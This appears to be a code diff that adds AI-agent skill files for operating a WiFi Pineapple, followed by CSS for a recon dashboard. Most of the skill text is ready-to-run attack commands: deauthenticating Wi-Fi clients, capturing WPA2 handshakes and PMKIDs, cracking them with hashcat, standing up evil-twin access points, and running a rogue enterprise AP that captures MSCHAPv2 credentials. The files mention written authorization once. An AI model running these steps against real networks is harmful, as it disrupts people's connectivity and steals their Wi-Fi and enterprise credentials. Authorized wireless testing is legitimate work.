LOG "cyan" "| Mark VIII v1.0 |"
LOG "cyan" "| Mark VIII v1.1 |"
LOG "cyan" "+---------------------------+"
if ! command -v python3 >/dev/null 2>&1; then
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,54 @@
---
name: aircrack-suite
description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).
---
# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)
The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes.
## Installation (factory-reset recovery)
```sh
opkg update
opkg install aircrack-ng hcxtools
```
- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng.
- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`.
## Target capture
Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w <prefix>` (writes `.cap`, `.csv`, `.kismet.*`):
```sh
ip link set wlan1mon up
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &
```
- `setsid ... </dev/null &` detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
- One airodump per band: `wlan0mon -c 1` for 2.4 GHz targets. Run both for dual-band coverage.
- Stop: `killall airodump-ng`. Files roll to `-02.cap`, `-03.cap`, etc.
- Pull the `.cap` with scp for local analysis, or use on-device `hcxpcapngtool`.
## PMKID hunt (hashcat -m 22002)
A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; **no client in range means nothing to capture**.
- Elicit with ONE light deauth: `PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch>` (tested) or `aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
- Extract on-device or locally:
```sh
hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist?
hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file
hashcat -m 22002 out.22002 -a 0 <wordlist>
```
- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 <cap>` then `hashcat -m 22000 out.22000 -a 0 <wordlist>`.
## Pitfalls
- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK.
- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing.
- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first.
- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`).
- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.
@@ -0,0 +1,145 @@
---
name: pineapple-control
description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.
---
# Pineapple Control (Pager / FENRIS)
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
## Hardware / radios
| Radio | Hardware | Interfaces | Notes |
|---|---|---|---|
| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX |
| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures |
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
**The uplink pins phy0 (field-verified 2026-08-19):** while the device's own
client uplink (`wlan0` STA) is associated, it holds phy0 on the association
channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz
APs on other channels are invisible to recon — even when `hop=1` is set.
Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on
that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
uplink is up.
## pineapd crash stack (Pager 24.10.1 — all five verified)
1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`.
2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`.
3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`.
4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails.
5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`).
The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop.
## Standalone PineAPE enterprise engine (field-verified)
The stock daemon's enterprise AP config generation is BROKEN on this build
(it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE
802.1X configuration (no EAP authenticator configured)"). Working engine,
run entirely by Mark VIII on phy1 outside the daemon's interface set:
```sh
iw phy phy1 interface add wlan1ent type managed
iw dev wlan1ent set type ap && ip link set wlan1ent up
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
```
Captured credentials flow to pineapd's socket and land in
`hostap_basic`/`hostap_chalresp` in recon.db. Tear down: kill the pidfile
pid, `iw dev wlan1ent del`, resume hop.
## Access
```sh
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
```
- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`.
## What runs on the box
| Process | Managed by | Purpose | Socket |
|---|---|---|---|
| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — |
| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` |
| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` |
| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — |
## Command surface
- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80.
- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists.
- `hostapd_cli -i <iface> status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build.
- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`.
## Config & persistence (the hard-won rules)
- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it.
- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change.
- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
```sh
cp /etc/config/wireless /etc/config/wireless.bak
# wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
wifi reload
hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
```
## pineapd health & the crash-loop
- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`.
- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting).
## Recon DB
`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout:
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`.
## Captures
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
```sh
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
```
- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes.
- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free):
```sh
setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
```
- Stop captures: `killall tcpdump` (`pkill` missing).
- Pull evidence locally with `scp`; analyze with `tshark`/`capinfos`/`hcxpcapngtool` (brew `wireshark`, `hcxtools`).
## Verification & troubleshooting
- AP up but silent? `iw dev <iface> info` for ssid/type/channel; `hostapd_cli -i <iface> status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead.
- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces.
## Teardown & hygiene
- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others.
- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving.
- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.
@@ -0,0 +1,138 @@
---
name: wifi-deauth
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
---
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
## 1. Discover target APs (passive recon first)
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
## 2. Deauth (the working method)
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
```sh
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
```
- MACs with colons work. Channel should be the AP's actual channel.
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
## 3. Channel pinning — what works and what crashes
| Method | Result |
|---|---|
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
## 4. Handshake capture — where built-in capture fails and the workaround
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
monitor can hear, even when the client refuses the evil twin entirely. In a
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
rejections from the karma twin and never associated — but when it
reconnected to the REAL AP, pineapd logged:
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
own. The monitor must be on the real AP's channel (on this lab unit the
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
The exported hashcat line verified against the target SSID:
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
Clients that DO associate to the twin also produce `hostap_handshake` rows
(roaming client verified), so both paths produce loot.
```sh
# single session: background tcpdump, run deauth rounds, listen, kill.
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
... deauth bursts on the same channel ...
sleep <listen window, e.g. 60-90s>
kill $TDPID
```
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
Analysis one-liners:
```sh
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
tshark -r cap -Y eapol -c 10 # 4-way keys
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
```
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
**Verified tell-tales on the lab venue:**
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
A fresh 4-way occurs only on:
1. A **brand-new client's first association** (new person/device arriving), or
2. A **GTK rekey** (AP-side, typically hourly).
Mitigations / planning:
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
```sh
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
```
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
## 7. Report language when no handshake is captured
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
## 8. Teardown
```sh
killall tcpdump # pkill is NOT on this BusyBox
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
```
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
@@ -185,7 +185,15 @@ body {
.badge { display: inline-block; padding: 2px 10px; border-radius: 10px; font-size: 11px; }
.badge.on { background: #e8f5e9; color: #2e7d32; }
.badge.off { background: #fff3e0; color: #e65100; }
.badge.warn { background: #fff8e1; color: #f57f17; }
.badge.unknown { background: #eeeeee; color: #616161; }
.health-chip { font-size: 11px; font-weight: 600; letter-spacing: .04em; padding: 2px 8px; border-radius: 10px; margin-left: 10px; align-self: center; }
.health-chip.good { background: #e8f5e9; color: #2e7d32; }
.health-chip.warn { background: #fff8e1; color: #f57f17; }
.health-chip.bad { background: #fdecea; color: #b71c1c; }
html.dark .health-chip.good { background: #1b3a24; color: #81c784; }
html.dark .health-chip.warn { background: #3d3313; color: #ffd54f; }
html.dark .health-chip.bad { background: #4a2020; color: #ffb4a9; }
.btn {
background: var(--primary); color: #fff; border: 0; border-radius: 2px;
padding: 8px 14px; font-size: 14px; cursor: pointer;
@@ -293,29 +301,54 @@ html.dark .sel { background: #424242; border-color: #545454; color: #fff; }
html.dark .muted { color: #bdbdbd; }
/* ---- Recon (Mark VII parity) ---- */
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; justify-content: space-between; gap: 10px; margin: 8px 0 16px; }
.recon-title-card { flex: 1 1 220px; min-width: 220px; margin-bottom: 1em; }
.recon-card { background: var(--surface); border-radius: 2px; box-shadow: var(--shadow); height: 200px; padding: 12px 16px; display: flex; flex-direction: column; }
.recon-title-card-title { font-size: 20px; margin-bottom: 15px; display: flex; align-items: center; color: var(--text); }
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; gap: 10px; margin: 8px 0 16px; }
.recon-card {
flex: 1 1 0; min-width: 170px; height: 190px;
background: var(--surface); border-radius: 2px; box-shadow: var(--shadow);
padding: 12px 14px; display: flex; flex-direction: column;
}
.recon-card-title {
font-size: 12px; text-transform: uppercase; letter-spacing: .05em;
color: var(--muted); margin-bottom: 6px; display: flex; align-items: center;
}
.recon-card-title-link { color: inherit; text-decoration: none; }
.recon-card-title-link:visited { color: inherit; }
.recon-card-title-link:hover { text-decoration: underline; }
.recon-title-card-content { display: flex; justify-content: center; align-items: center; height: 70%; }
.recon-chart-box { width: 100%; height: 150px; position: relative; }
.recon-chart-box canvas { width: 100%; height: 100%; }
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; padding: 12px; }
.recon-hs-col { display: flex; flex-direction: column; justify-content: center; align-items: center; }
.recon-card-title-link:hover { color: var(--primary); text-decoration: underline; }
.recon-card-body { display: flex; flex-direction: column; flex: 1; min-height: 0; }
.recon-card-value {
font-size: 26px; font-weight: 700; line-height: 1.15; color: var(--text);
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
}
.recon-card-sub {
font-size: 12px; color: var(--muted); margin: 1px 0 6px; min-height: 16px;
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.recon-chart-box { position: relative; flex: 1; min-height: 0; margin-top: auto; }
.recon-chart-box canvas { position: absolute; inset: 0; width: 100%; height: 100%; }
#recon-encryption, #recon-landscape { position: static; display: block; width: 112px; height: 112px; margin: 0 auto; }
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; align-items: center; padding: 8px; text-align: center; }
.recon-chart-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
.recon-chart-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
.recon-chart-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
.recon-chart-label { color: var(--muted); }
.recon-chart-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
.recon-hs-count { font-size: 32px; font-weight: 700; line-height: 1.1; }
.recon-hs-label { color: grey; margin: 2px 0 10px; }
.recon-toggle { display: flex; align-items: center; gap: 8px; font-size: 13px; color: var(--text); margin: 0; cursor: pointer; }
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; }
.recon-ps-row .sel { width: 100%; }
.recon-hs-label { color: var(--muted); font-size: 12px; margin: 1px 0 8px; }
.recon-toggle { display: flex; align-items: center; gap: 6px; font-size: 12px; color: var(--text); margin: 0; cursor: pointer; flex-wrap: wrap; min-width: 0; }
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; margin-top: 2px; }
.recon-ps-row .sel { width: 100%; font-size: 12px; padding: 4px 6px; }
.recon-ps-actions { display: flex; align-items: center; gap: 2px; margin-top: 4px; }
.recon-ps-actions .icon-btn { width: 28px; height: 28px; }
.recon-ps-actions .icon-btn svg { width: 18px; height: 18px; }
.icon-btn { background: transparent; color: var(--muted); border: 0; border-radius: 50%; width: 36px; height: 36px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; padding: 0; }
.icon-btn:hover { background: var(--surface-alt); color: var(--text); }
.icon-btn:disabled { opacity: .38; cursor: default; }
.icon-btn svg { width: 22px; height: 22px; }
.recon-scan-bar { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; }
.recon-scan-bar .sel { width: auto; }
.recon-scan-status { font-size: 12px; }
.recon-scan-status.warn { color: #b26a00; }
html.dark .recon-scan-status.warn { color: #ffb74d; }
.recon-table-head { display: flex; align-items: center; gap: 10px; margin-bottom: 8px; flex-wrap: wrap; }
.recon-table-head h2 { margin: 0; }
.recon-search { max-width: 180px; }
@@ -324,6 +357,9 @@ html.dark .muted { color: #bdbdbd; }
.recon-paginator .icon-btn svg { width: 18px; height: 18px; }
.recon-row-selected td { background: #eaeaea; }
html.dark .recon-row-selected td { background: #565656; }
.recon-row-compare td { background: rgba(25, 118, 210, .08); }
html.dark .recon-row-compare td { background: rgba(25, 118, 210, .18); }
.recon-gps-cell { font-variant-numeric: tabular-nums; }
.recon-settings-sidebar {
position: fixed; top: 64px; right: 0; bottom: 0; width: 270px; z-index: 50;
background: var(--surface); box-shadow: -2px 0 6px rgba(0,0,0,.24); padding: 16px;
@@ -348,12 +384,70 @@ html.dark .recon-row-selected td { background: #565656; }
.recon-focus-body { margin-top: 18px; }
.recon-focus-body-title { font-size: 16px; margin-bottom: 8px; color: var(--text); }
.recon-focus-action-button { width: 100%; margin-bottom: 5px; }
.recon-focus-twin { background: var(--ok); }
.recon-focus-twin:hover { background: #689f38; }
.recon-focus-detail { display: flex; justify-content: space-between; gap: 10px; padding: 3px 0; border-bottom: 1px solid var(--border); font-size: 13px; }
.recon-focus-detail-label { color: var(--muted); flex: none; }
.recon-sort-arrow { color: var(--muted); font-size: 11px; }
th.recon-sorted { color: var(--primary); }
.recon-per { width: auto; }
/* ---- Recon supercharge: dBm bars, chips, pills ---- */
.recon-dbm-cell { display: inline-flex; align-items: center; gap: 8px; white-space: nowrap; }
